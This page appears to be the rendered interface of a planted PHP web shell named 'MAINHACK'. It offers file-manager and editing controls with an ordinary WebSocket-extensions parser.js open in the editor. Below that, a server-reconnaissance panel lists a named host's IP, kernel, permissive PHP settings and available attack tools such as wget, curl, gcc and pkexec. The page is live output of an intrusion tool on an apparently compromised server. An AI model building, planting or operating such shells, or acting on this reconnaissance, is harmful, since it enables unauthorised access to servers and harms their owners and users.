[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: parser.js
'use strict'; var TOKEN = /([!#\$%&'\*\+\-\.\^_`\|~0-9A-Za-z]+)/, NOTOKEN = /([^!#\$%&'\*\+\-\.\^_`\|~0-9A-Za-z])/g, QUOTED = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"\\])*)"/, PARAM = new RegExp(TOKEN.source + '(?:=(?:' + TOKEN.source + '|' + QUOTED.source + '))?'), EXT = new RegExp(TOKEN.source + '(?: *; *' + PARAM.source + ')*', 'g'), EXT_LIST = new RegExp('^' + EXT.source + '(?: *, *' + EXT.source + ')*$'), NUMBER = /^-?(0|[1-9][0-9]*)(\.[0-9]+)?$/; var hasOwnProperty = Object.prototype.hasOwnProperty; var Parser = { parseHeader: function(header) { var offers = new Offers(); if (header === '' || header === undefined) return offers; if (!EXT_LIST.test(header)) throw new SyntaxError('Invalid Sec-WebSocket-Extensions header: ' + header); var values = header.match(EXT); values.forEach(function(value) { var params = value.match(new RegExp(PARAM.source, 'g')), name = params.shift(), offer = {}; params.forEach(function(param) { var args = param.match(PARAM), key = args[1], data; if (args[2] !== undefined) { data = args[2]; } else if (args[3] !== undefined) { data = args[3].replace(/\\/g, ''); } else { data = true; } if (NUMBER.test(data)) data = parseFloat(data); if (hasOwnProperty.call(offer, key)) { offer[key] = [].concat(offer[key]); offer[key].push(data); } else { offer[key] = data; } }, this); offers.push(name, offer); }, this); return offers; }, serializeParams: function(name, params) { var values = []; var print = function(key, value) { if (value instanceof Array) { value.forEach(function(v) { print(key, v) }); } else if (value === true) { values.push(key); } else if (typeof value === 'number') { values.push(key + '=' + value); } else if (NOTOKEN.test(value)) { values.push(key + '="' + value.replace(/"/g, '\\"') + '"'); } else { values.push(key + '=' + value); } }; for (var key in params) print(key, params[key]); return [name].concat(values).join('; '); } }; var Offers = function() { this._byName = {}; this._inOrder = []; }; Offers.prototype.push = function(name, params) { if (!hasOwnProperty.call(this._byName, name)) this._byName[name] = []; this._byName[name].push(params); this._inOrder.push({ name: name, params: params }); }; Offers.prototype.eachOffer = function(callback, context) { var list = this._inOrder; for (var i = 0, n = list.length; i < n; i++) callback.call(context, list[i].name, list[i].params); }; Offers.prototype.byName = function(name) { return this._byName[name] || []; }; Offers.prototype.toArray = function() { return this._inOrder.slice(); }; module.exports = Parser;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002